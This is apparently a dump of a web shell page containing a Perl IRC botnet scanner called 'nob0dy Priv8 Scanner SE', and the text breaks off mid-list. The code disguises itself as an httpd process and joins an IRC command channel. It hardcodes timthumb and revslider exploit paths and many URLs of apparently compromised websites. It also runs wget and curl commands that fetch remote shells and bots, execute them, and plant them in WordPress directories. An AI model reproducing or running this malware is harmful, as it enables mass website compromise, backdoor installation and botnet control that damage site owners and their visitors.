GIF89aGLO SAFE_MODE : OFF User : uid=1002(jacob) gid=1002(jacob) Uname : Linux abg 4.4.0-51-generic #72-Ubuntu SMP Thu Nov 24 18:29:54 UTC 2016 x86_64 Disable Functions : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, Command Upload File New name: #!/usr/bin/perl # nob0dy Priv8 Scanner SE v1.5 # Coded by nob0dy # Last Edited: Sep 16 2011 # How to use: # perl nob0dy.pl irc.server.net 6667 nick ident chan admin /usr/sbin/fakeproc # or perl filename use HTTP::Request; use HTTP::Request::Common; use HTTP::Request::Common qw(POST); use LWP::Simple; use LWP 5.64; use LWP::UserAgent; use IO::Socket; use IO::Socket::INET; use IO::Select; use Socket; use MIME::Base64; use File::Basename; use URI::Escape; use Digest::MD5 qw(md5_hex); use DBI; my $datetime = localtime; my $fakeproc = "/usr/sbin/httpd -k admin"; my $ircserver = "irc.byroe.org"; my $ircport = "6667"; my $number = int(rand(10)); my $nickname = "xx".$number; my $ident = "priv"; my $channel = "#expinc"; my $chan = "#exp_inc"; my $admin = "KosoWaR"; my $fullname = "2xx xx"; my $nob0dy = "14whoami"; my $searchlogo = "1"; my $rsqllogo = "1"; my $revlogo = "3REV"; my $ninjalogo = "3NINJA"; my $privlogo = "3PRIV"; my $hwdlogo = "3HWD"; my $jdlogo = "3JDOWN"; my $magelogo = "3SHOP"; my $jcelogo = "3jce"; my $jdcmd = "!jo"; my $ninjacmd = "!ni"; my $hwcmd = "!h"; my $flexcmd = "!f"; my $shopliftcmd = "!shop"; my $jcecmd = "!jc".$number; my $revcmd = "!tes"; my $chkcmd = "!chk"; my $plugin = ("revslider","showbiz"); my $action = "revslider_ajax_action"; my $action1 = "showbiz_ajax_action"; my $update_file = "revslider.zip"; my $update_file1 = "showbiz.zip"; my $pubscan = 0; my $spread = 1; my $hostxpl = "http://spbrta.customs.ru/spbrta//plugins/editors/xstandard/"; my $injector = "http://spbrta.customs.ru/spbrta//plugins/editors/xstandard/bad2.php"; my $botx = "http://taovie.com/wp-content/plugins//o"; my $thumbid = uri_escape($injector); my $md5tim = md5_hex($injector); my @bugxxx = ("/timthumb.php","/thumb.php","/_tbs.php","/thumbopen.php","/timthumb_ws.php","/_scripts/timthumb.php","/framework/includes/timthumb.php","/thumb/thumb.php","/library/timthumb.php","/backend/timthumb.php","/libraries/timthumb.php","/framework/plugins/timthumb.php","/lib/timthumb.php","/includes/timthumb.php","/theme/classes/timthumb.php","/framework/timthumb.php","/framework/thumb.php","/inc/thumb.php","/inc/timthumb.php","/core/thumb.php","/_assets/timthumb.php","/framework/scripts/timthumb.php","/themify/img.php","/themify/img_x.php","/scripts/timthumb.php","/script/timthumb.php","/lib/scripts/timthumb.php","/functions/timthumb.php","/thumbs/_tbs.php","/functions/thumb.php","/plugins/woo-tumblog/functions/thumb.php","/plugins/timthumb.php","/js/timthumb.php","/libs/timthumb.php","/php/timthumb.php","/tools/timthumb.php","/tools/pivotx/includes/timthumb.php","/img_resize/timthumb.php","/uploads/thumb-temp/timthumb.php","/lib/utils/timthumb.php","/lib/shortcodes/includes/timthumb.php","/lib_frame/thumb.php","/timthumb/timthumb.php","/fws/addons/timthumb/timthumb.php","/extensions/auto-thumb/timthumb.php","/assets/js/timthumb.php","/framework/lib/timthumb.php","/images/thumb.php","/options/thumbs.php"); my $botsaver = "http://www.autoradiomitnavigation.de/media/wysiwyg/infortis/brands///mage.php"; my $shopliftxpl = "http://www.autoradiomitnavigation.de/media/wysiwyg/infortis/brands///mage.php"; my $ftpxpl = "".$hostxpl."ftp.php"; my $revxpl = "".$hostxpl."rev.php"; my $lfishell = "http://spbrta.customs.ru/spbrta//plugins/editors/xstandard/bad.txt??"; my $mag_shell = "mage.zip"; my $botxx = uri_escape("curl -C - -O http://taovie.com//wp-content/plugins/o;perl o;rm o*"); my $c99 = uri_escape("curl -C - -O http://taovie.com//wp-content/plugins/best.txt;mv best.txt ../../../../../../wp-admin/default.php;"); sub randomagent { my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'); my $random = $array[rand @array]; return($random); } my $useragent = randomagent(); my $uagent = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6'); #my $jpath = "/wp-includes/error.php?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q="; my $jack1 = "http://vps5.webshopapps.com/wsademo/frontend62/matrixrate2//js/lib//error.php?"; my $jack2 = "http://pzone.com.br/wp-includes/js/tinymce/error.php?q=google.com"; my $jack3 = "http://www.fornal-polska.pl/components/com_content/models/error.php?q=google.com"; my $jack4 = "http://fotoagents.com/error.php?q=google.com"; my $jack5 = "http://bororo25.com.br/error.php?q=google.com"; my $jack6 = "http://www.yimsodsai.com/upload/error.php?q=google.com"; my $jack7 = "http://www.lki-soft.com/plugin/css//error.php?q=google.com"; my $jack8 = "http://www.betroyal.com/components/com_media/images/error.php?q=google.com"; my $jack9 = "http://www.luismunozvillarroel.cl/error.php?"; my $jack10 = "http://computician.net/joomla/components/com_finder/models//error.php?"; my @gbypass = ("http://produkcja.rolnicy.com//components/com_wrapper/errors.php", "http://www.cstudio.com.my/wp-content/uploads/2012/11/search.php", "http://sellallmyideas.com/errors.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://sales.luxxeen.com/errors/default/css/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://metroway.com/wp-includes/ID3/proxy.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://interminas.ddns.net/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.exhibcouples.fr/errors.php", "http://ajansfestival.com/wp-admin/user/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php", "http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php", "http://www.yplittleport.org.uk/media/system/config.index.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://www.austriasport.nl/wp-includes/errors.php", "http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php", "http://www.pessebristassumpcio.com/wp-includes/error.php", "http://chapmancycles.com/wp-admin/edit-link.php", "http://exhibcouples.fr/errors.php", "http://chapmancycles.com/wp-admin/edit-link.php", "http://recbf.free.fr/rec09Joomla/images/banners/error.php", "http://pastorbonus.sk/errors.php", "http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php", "http://treboliberica.com/includes/errors.php", "http://shop.fernandoguijar.com/wp-includes/error.php", "http://www.bendit.co/backside/media/mailto/error.php", "http://candidfeet.org/clip//admin_area/charts/tmp-upload-images/error.php", "http://cichlid77.free.fr/errors.php", "http://www.liftmaxthailand.com/downloader/template/errors.php", "http://www.ikermartinez.com/images/XRIS.php", "http://www.dc-com.jp/errors.php", "http://fifacompet.free.fr/components/com_joomleague/assets/errors.php", "http://www.avzootice.cz/includes/js/index2.php", "http://gentleheart.cz/includes/js/index2.php", "http://directproducts.co.zw/errors.php", "http://www.rateavon.je/error.php", "http://www.ursaminorvehicles.com/errors/default/css/error.php", "http://patachou.com/js/lib/search.php", "https://www.clematixdigital.com/errors/default/css/error.php", "http://www.mypgmee.com/media/catalog/product/2/error.php", "http://sales.luxxeen.com/errors/default/css/error.php", "http://www.exhibcouples.fr/errors.php", "http://isnoffices.com/wp-content/themes/kim-remi/fonts/error.php", "http://chapmancycles.com/wp-admin/edit-link.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://imotionasia.com.vn/errors.php", "http://www.veterinaigle.ch//media/errors.php", "http://www.revierholz.de/language/pdf_fonts/search.php", "http://king-solarman.com/skin/adminhtml/base/error.php", "http://www.techlane.com.sg/errors.php", "http://www.alvestaguesthouse.co.za/wp-content/themes/welcome_inn/cache/pro.php", "http://www.karpet.cz/media/system/js/jquery.php", "http://godreamsleepingbag.com/errors.php", "http://www.thaihospitalbed.com/var/locks/error.php", "http://www.eyeforce.com.tr/var/pass/search.php", "http://mjpbookkeepers.co.uk/search.php", "http://bioenfapesp.org/media/mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://www.pebk.de/joomla/components/com_mailto/error.php", "http://www.alexgretter.com/google.php", "http://www.cannell-immobilier.com/errors.php", "http://www.photodesign.uncanny.cz/images/error.php", "http://circuitec.com.br/errors.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://sufbellman.dk/media/error.php", "http://www.mariobabiera.com/google.php", "http://virtual-aerospace.co.jp/errors.php", "http://metroway.com/wp-includes/ID3/proxy.php", "http://www.psdf.org.pk/errors.php", "http://printfastt.com.br/errors.php", "http://pngk.kz/media/media/css/index.php", "http://sales.luxxeen.com/errors/default/css/error.php", "http://tsat-dashboard.com/videocache/bypass.php", "http://www.mave.icksv2.nl/images/search.php", "http://themansphere.com/wp-includes/error.php", "http://turkishonline.ru//media/system/js/error.php", "http://chaoscollective.in/administrator/components/com_weblinks/views/errors.php", "http://www.mirabalcenter.org//errors.php", "http://www.pricepaving.com//wp-includes/js/plupload/index.php", "http://www.zsp.karpacz.pl//libraries/joomla/document/index.php", "http://www.studio-aid.it//libraries/joomla/database/index.php", "http://recbf.free.fr/rec09Joomla/images/banners/error.php", "http://belarus-theatre.net/error.php", "http://www.decret-pinel.fr/wp-includes/error.php", "http://howfarbooks.com//images/stories/errors.php", "http://australiansuperaudit.com.au/errors.php", "http://austriasport.nl/wp-includes/errors.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.sci.kmutnb.ac.th/web/components/com_mailto/error.php", "http://www.ikermartinez.com/images/XRIS.php", "http://shop.fernandoguijar.com/wp-includes/error.php", "http://www.esteticaraffinata.com.br/errors.php", "http://shop.fernandoguijar.com/wp-includes/error.php", "http://www.dc-com.jp/errors.php", "http://mjpbookkeepers.co.uk/search.php", "http://madmanslay.free.fr/administrator/components/com_content/views/element/errors.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://clinicavanity.com.br/2012/wp-includes/error.php", "http://directproducts.co.zw/errors.php", "http://www.gambinigroup.it/media/mailto/error.php", "https://www.mypgmee.com/media/catalog/product/2/error.php", "http://www.mypgmee.com/media/catalog/product/2/search.php", "http://www.pastryideas.gr/skin/frontend/search.php", "http://www.lafutbolera.net/images/error.php", "http://www.pece.com.my/2014/wp-content/themes/Avada/framework/error.php", "http://www.ares-asesores.com/ares/wp-content/languages/error.php", "http://www.austriasport.nl/wp-includes/errors.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://www.oldfashionedman.com/errors.php", "http://citizenofburma.org//plugins/content/errors.php", "http://www.revierholz.de/language/pdf_fonts/search.php", "http://gdthuyphuong.free.fr//includes/errors.php", "http://cnsave.koray.cn/errors.php", "http://ecom.wilburhuang.com/errors.php", "http://centralcaixas.com/mdf/errors.php", "http://shardha.in/errors.php", "http://automarket-fortuna.ru/errors.php", "http://www.guliziagraphics.com/includes/error.php", "https://gpscsomagok.hu/skin/bypass.php", "http://hoponhopoff.ge//errors.php", "http://virtual-aerospace.co.jp//errors.php", "http://www.rotarymowers.com.au/skin/errors.php", "http://www.dc-com.jp/errors.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://www.rateavon.je/error.php", "http://hoponhopoff.ge/errors.php", "http://directproducts.co.zw/errors.php", "http://www.semneartemis.ro/images/errors.php",, "http://bioenfapesp.org/media/mailto/error.php", "http://sales.luxxeen.com/errors/default/css/error.php", "http://pnpdistribuidora.com.br//erros/errors.php", "http://www.imc-egypt.org//cli/error.php", "http://pnpdistribuidora.com.br//errors.php", "http://pico.freshpixels.pl/sponpc/wp-content/errors.php", "http://www.revierholz.de/language/pdf_fonts/search.php", "http://ds9.snzsite.ru/tmp/errors.php", "http://www.mzofen.co.il/components/com_foxcontact/errors.php", "http://www.myhandymate.com/components/com_foxcontact/errors.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://newwair.com/wordpress/wp-content/plugins/easyrotator-for-wordpress/errors.php", "http://tierspende.org/errors.php", "http://www.ibet.co.il/components/com_sobi2/includes/js/errors.php", "http://heretothrive.net/wordpress/wp-content/themes/twentyfifteen/errors.php", "http://fitmibody.com//wp-content/themes/twentyseventeen/errors.php", "http://sales.luxxeen.com/errors/default/css/error.php", "http://www.pebk.de/joomla/components/com_mailto/error.php", "http://sales.luxxeen.com/errors/default/css/error.php", "http://www.kbmoveforlife.com/admin/containers/blog/errors.php", "http://www.bendit.co/backside/media/mailto/error.php", "http://chaoscollective.in/administrator/components/com_weblinks/views/errors.php", "http://www.photodesign.uncanny.cz/images/error.php" ); my @bypass = ("http://www.cstudio.com.my/wp-content/uploads/2012/11/search.php", "http://sellallmyideas.com/errors.php", "http://www.cchm.ca/components/com_mailto/error.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://ajansfestival.com/wp-admin/user/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php", "http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php", "http://www.thai-orchidea.cz/modules/mod_login/error.php", "http://ivanous.free.fr/camu_s_world/images/stories/jump.php", "http://interminas.ddns.net/errors.php", "http://imotionasia.com.vn/errors.php", "http://www.exhibcouples.fr/errors.php", "http://directproducts.co.zw/errors.php", "http://www.rateavon.je/error.php", "http://www.ursaminorvehicles.com/errors/default/css/error.php", "http://patachou.com/js/lib/search.php", "http://www.yplittleport.org.uk/media/system/config.index.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://www.austriasport.nl/wp-includes/errors.php", "http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php", "http://www.pessebristassumpcio.com/wp-includes/error.php", "http://chapmancycles.com/wp-admin/edit-link.php", "http://exhibcouples.fr/errors.php", "http://chapmancycles.com/wp-admin/edit-link.php", "http://recbf.free.fr/rec09Joomla/images/banners/error.php", "http://sales.luxxeen.com/errors/default/css/error.php", "http://politics.cnm.com.pt/errors.php", "http://www.thermona-ekb.ru/errors.php", "http://metroway.com/wp-includes/ID3/proxy.php", "https://www.clematixdigital.com/errors/default/css/error.php", "http://sales.luxxeen.com/errors/default/css/error.php", "http://pnpdistribuidora.com.br//erros/errors.php", "http://pastorbonus.sk/errors.php", "http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php", "http://treboliberica.com/includes/errors.php", "http://shop.fernandoguijar.com/wp-includes/error.php", "http://www.bendit.co/backside/media/mailto/error.php", "http://candidfeet.org/clip//admin_area/charts/tmp-upload-images/error.php", "http://cichlid77.free.fr/errors.php", "http://www.liftmaxthailand.com/downloader/template/errors.php", "http://www.ikermartinez.com/images/XRIS.php", "http://www.dc-com.jp/errors.php", "http://fifacompet.free.fr/components/com_joomleague/assets/errors.php", "http://www.avzootice.cz/includes/js/index2.php", "http://gentleheart.cz/includes/js/index2.php",, "http://www.mypgmee.com/media/catalog/product/2/error.php", "http://sales.luxxeen.com/errors/default/css/error.php", "http://www.exhibcouples.fr/errors.php", "http://isnoffices.com/wp-content/themes/kim-remi/fonts/error.php", "http://chapmancycles.com/wp-admin/edit-link.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://imotionasia.com.vn/errors.php", "http://www.veterinaigle.ch//media/errors.php", "http://www.revierholz.de/language/pdf_fonts/search.php", "http://king-solarman.com/skin/adminhtml/base/error.php", "http://www.techlane.com.sg/errors.php", "http://www.alvestaguesthouse.co.za/wp-content/themes/welcome_inn/cache/pro.php", "http://www.karpet.cz/media/system/js/jquery.php", "http://godreamsleepingbag.com/errors.php", "http://www.thaihospitalbed.com/var/locks/error.php", "http://www.eyeforce.com.tr/var/pass/search.php", "http://mjpbookkeepers.co.uk/search.php", "http://bioenfapesp.org/media/mailto/error.php", "http://bioenfapesp.org/media/mailto/error.php", "http://www.pebk.de/joomla/components/com_mailto/error.php", "http://www.alexgretter.com/google.php", "http://www.cannell-immobilier.com/errors.php", "http://www.photodesign.uncanny.cz/images/error.php", "http://circuitec.com.br/errors.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://sufbellman.dk/media/error.php", "http://www.mariobabiera.com/google.php", "http://virtual-aerospace.co.jp/errors.php", "http://metroway.com/wp-includes/ID3/proxy.php", "http://www.psdf.org.pk/errors.php", "http://printfastt.com.br/errors.php", "http://pngk.kz/media/media/css/index.php", "http://sales.luxxeen.com/errors/default/css/error.php", "http://tsat-dashboard.com/videocache/bypass.php", "http://www.mave.icksv2.nl/images/search.php", "http://themansphere.com/wp-includes/error.php", "http://turkishonline.ru//media/system/js/error.php", "http://chaoscollective.in/administrator/components/com_weblinks/views/errors.php", "http://www.mirabalcenter.org//errors.php", "http://www.pricepaving.com//wp-includes/js/plupload/index.php", "http://www.zsp.karpacz.pl//libraries/joomla/document/index.php", "http://www.studio-aid.it//libraries/joomla/database/index.php", "http://recbf.free.fr/rec09Joomla/images/banners/error.php", "http://belarus-theatre.net/error.php", "http://www.decret-pinel.fr/wp-includes/error.php", "http://howfarbooks.com//images/stories/errors.php", "http://australiansuperaudit.com.au/errors.php", "http://austriasport.nl/wp-includes/errors.php", "http://www.bortolotto.eu/plugins/editors/error.php", "http://www.sci.kmutnb.ac.th/web/components/com_mailto/error.php", "http://www.ikermartinez.com/images/XRIS.php", "http://shop.fernandoguijar.com/wp-includes/error.php", "http://www.esteticaraffinata.com.br/errors.php", "http://shop.fernandoguijar.com/wp-includes/error.php", "http://www.dc-com.jp/errors.php", "http://mjpbookkeepers.co.uk/search.php", "http://madmanslay.free.fr/administrator/components/com_content/views/element/errors.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://clinicavanity.com.br/2012/wp-includes/error.php", "http://directproducts.co.zw/errors.php", "http://www.gambinigroup.it/media/mailto/error.php", "https://www.mypgmee.com/media/catalog/product/2/error.php", "http://www.mypgmee.com/media/catalog/product/2/search.php", "http://www.pastryideas.gr/skin/frontend/search.php", "http://www.lafutbolera.net/images/error.php", "http://www.pece.com.my/2014/wp-content/themes/Avada/framework/error.php", "http://www.ares-asesores.com/ares/wp-content/languages/error.php", "http://www.austriasport.nl/wp-includes/errors.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://www.oldfashionedman.com/errors.php", "http://citizenofburma.org//plugins/content/errors.php", "http://www.revierholz.de/language/pdf_fonts/search.php", "http://gdthuyphuong.free.fr//includes/errors.php", "http://cnsave.koray.cn/errors.php", "http://ecom.wilburhuang.com/errors.php", "http://centralcaixas.com/mdf/errors.php", "http://shardha.in/errors.php", "http://automarket-fortuna.ru/errors.php", "http://www.guliziagraphics.com/includes/error.php", "https://gpscsomagok.hu/skin/bypass.php", "http://hoponhopoff.ge//errors.php", "http://virtual-aerospace.co.jp//errors.php", "http://www.rotarymowers.com.au/skin/errors.php", "http://www.dc-com.jp/errors.php", "http://greenpowerguy.com/blog/wp-content/themes/error.php", "http://www.rateavon.je/error.php", "http://hoponhopoff.ge/errors.php", "http://directproducts.co.zw/errors.php", "http://www.semneartemis.ro/images/errors.php",, "http://pnpdistribuidora.com.br//erros/errors.php", "http://www.imc-egypt.org//cli/error.php", "http://pnpdistribuidora.com.br//errors.php", "http://pico.freshpixels.pl/sponpc/wp-content/errors.php", "http://www.revierholz.de/language/pdf_fonts/search.php", "http://ds9.snzsite.ru/tmp/errors.php", "http://www.mzofen.co.il/components/com_foxcontact/errors.php", "http://www.gambinigroup.it/media/mailto/error.php", "http://newwair.com/wordpress/wp-content/plugins/easyrotator-for-wordpress/errors.php", "http://tierspende.org/errors.php", "http://www.ibet.co.il/components/com_sobi2/includes/js/errors.php", "http://heretothrive.net/wordpress/wp-content/themes/twentyfifteen/errors.php", "http://fitmibody.com//wp-content/themes/twentyseventeen/errors.php", "http://sales.luxxeen.com/errors/default/css/error.php", "http://www.pebk.de/joomla/components/com_mailto/error.php", "http://sales.luxxeen.com/errors/default/css/error.php", "http://www.kbmoveforlife.com/admin/containers/blog/errors.php", "http://www.bendit.co/backside/media/mailto/error.php", "http://chaoscollective.in/administrator/components/com_weblinks/views/errors.php", "http://www.photodesign.uncanny.cz/images/error.php" ); my @racrew = ($bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))],$bypass[rand(scalar(@bypass))]); if (@ARGV == 7) { print "\n[+] nob0dy Priv8 Scanner SE\n". "[+] IRC Host : $ircserver\n". "[+] IRC Port : $ircport\n". "[+] Bot Nick : $nickname\n". "[+] Bot Ident : $ident\n". "[+] Channel : $channel\n". "[+] Bot Admin : $admin\n". "[+] Process/PID : $fakeproc - $$\n\n"; } $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; #chdir("/tmp"); chop (my $priper = `wget http://spbrta.customs.ru/spbrta//plugins/editors/xstandard/bad.txt ; cp bad.txt bad.php.ndsfx ; cp bad.txt wp-sicks.php ; cp bad.txt 18x.jpg ; cp bad.txt 18x.php ; cp bad.txt 18x.php.vob ; cp bad.txt 18x.php.j ; wget http://spbrta.customs.ru/spbrta//plugins/editors/xstandard/image.zip`); $ircserver = "$ARGV[0]" if $ARGV[0]; $0 = "$fakeproc"."\0" x 16; my $pid = fork; exit if $pid; die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new(); $sel_client = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } } sub connector { my $mynick = $_[0]; my $ircserver_con = $_[1]; my $ircport_con = $_[2]; my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket->autoflush(1); $sel_client->add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con"; $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost; nick("$mynick"); sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname"); sleep 1; } } sub parse { my $servarg = shift; if ($servarg =~ /^PING \:(.*)/) { sendraw("PONG :$1"); } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) { if (lc($1) eq lc($mynick)) { $mynick = $4; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; } } elsif ($servarg =~ m/^\:(.+?)\s+433/i) { nick("$mynick".int rand(999)); } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) { $mynick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'nome'} = "$1"; sendraw("MODE $mynick +Bx"); sendraw("NS id lfi123"); sleep(3); sendraw("JOIN $channel"); sleep(1); sendraw("JOIN #atef 777"); sleep(1); sendraw("PRIVMSG $channel :4Ready to work boss"); sendraw("PRIVMSG $admin :Hi $admin im here ready to Serve !!!"); } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); } select(undef, undef, undef, 0.01); delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_client->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $mynick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $ircmsg, 4096); if ($nread == 0) { $sel_client->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $ircmsg); $ircmsg =~ s/\r\n$//; if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) { my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5); my $engine ="JacKAC,JacKAD,JacKAE,JacKAF,JacKAG,JacKAL,JacKAM,JacKAN,JacKAT,JacKAR,JacKAU,JacKBE,JacKHU,JacKOrG,JacKCoM,JacKNeT,JacKPL,JacKIT,JacKID,JacKMY,JacKES,JacKUK,JacKUS,JacKJP,JacKXXX,JacKTEL,JacKTV,JacKCC,JacKMIL,JacKASIA,JacKNAME,JacKPRO,JacKTRAVEL,JacKJOBS,JacKMOBI,JacKAERO,JacKCAT,JacKCOOP,JacKEDU,JacKGOV,JacKMUSEUM,JacKKR,JacKDE,JacKDK,JacKCA,JacKBR,JacKRO,JacKRU,JacKNL,JacKInfO,JacKFR,JacKIN,JacKMX,JacKCZ,JacKCL,JacKUA,JacKCN,JacKIR,JacKTH,JacKEU,JacKPH,JackIL,JackIM,JacKSI,JacKBIZ,JacKAS,JacKAI,JacKAG,JacKAZ,JacKBH,JacKBD,JacKBZ,JacKBO,JacKBA,JacKBW,JacKVG,JacKBG,JacKBI,JacKCO,JacKCD,JacKCG,JacKCK,JacKCR,JacKHR,JacKCU,JacKCI,JacKDJ,JacKDM,JacKDO,JacKEC,JacKEG,JacKSV,JacKEE,JacKET,JacKFJ,JacKFI,JacKGM,JacKGI,JacKGR,JacKGL,JacKGT,JacKGG,JacKHT,JacKHN,JacKHK,JacKIS,JacKIE,JacKIM,JacKJE,JacKJO,JacKKZ,JacKKE,JacKKG,JacKLV,JacKLS,JacKLY,JacKLI,JacKLT,JacKLU,JacKMW,JacKMT,JacKMU,JacKFM,JacKMN,JacKMS,JacKMA,JacKNA,JacKNP,JacKNZ,JacKNI,JacKNF,JacKNO,JacKOM,JacKPK,JacKPA,JacKPY,JacKPE,JacKPN,JacKPT,JacKPR,JacKQA,JacKRW,JacKSH,JacKSM,JacKSA,JacKSN,JacKSC,JacKSG,JacKSK,JacKZA,JacKLK,JacKVC,JacKSE,JacKCH,JacKTW,JacKTJ,JacKBS,JacKTO,JacKTT,JacKTR,JacKTM,JacKVI,JacKUG,JacKUY,JacKUZ,JacKVE,JacKVN,JacKZM,GooGLe,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,BingAE,BingAT,BingCZ,BingEU,BingHU,BingID,BingIL,BingIN,BingINFO,BingIR,BingMY,BingNET,BingORG,BingPH,BingPL,BingRO,BingTH,BingUA,BingUS,BingSI,BingBIZ,BingXXX,BingTV,BingCC,BingMIL,BingASIA,BingNAME,BingPRO,BingTRAVEL,BingJOBS,BingMOBI,BingAERO,BingCAT,BingCOOP,BingEDU,BingGOV,BingBO,BingBA,BingBW,BingBG,BingCO,BingCR,BingHR,BingDO,BingEC,BingGR,BingHN,BingHK,BingIS,BingIE,BingKZ,BingKE,BingKG,BingLV,BingLY,BingLT,BingLU,BingMA,BingNP,BingPK,BingPR,Bin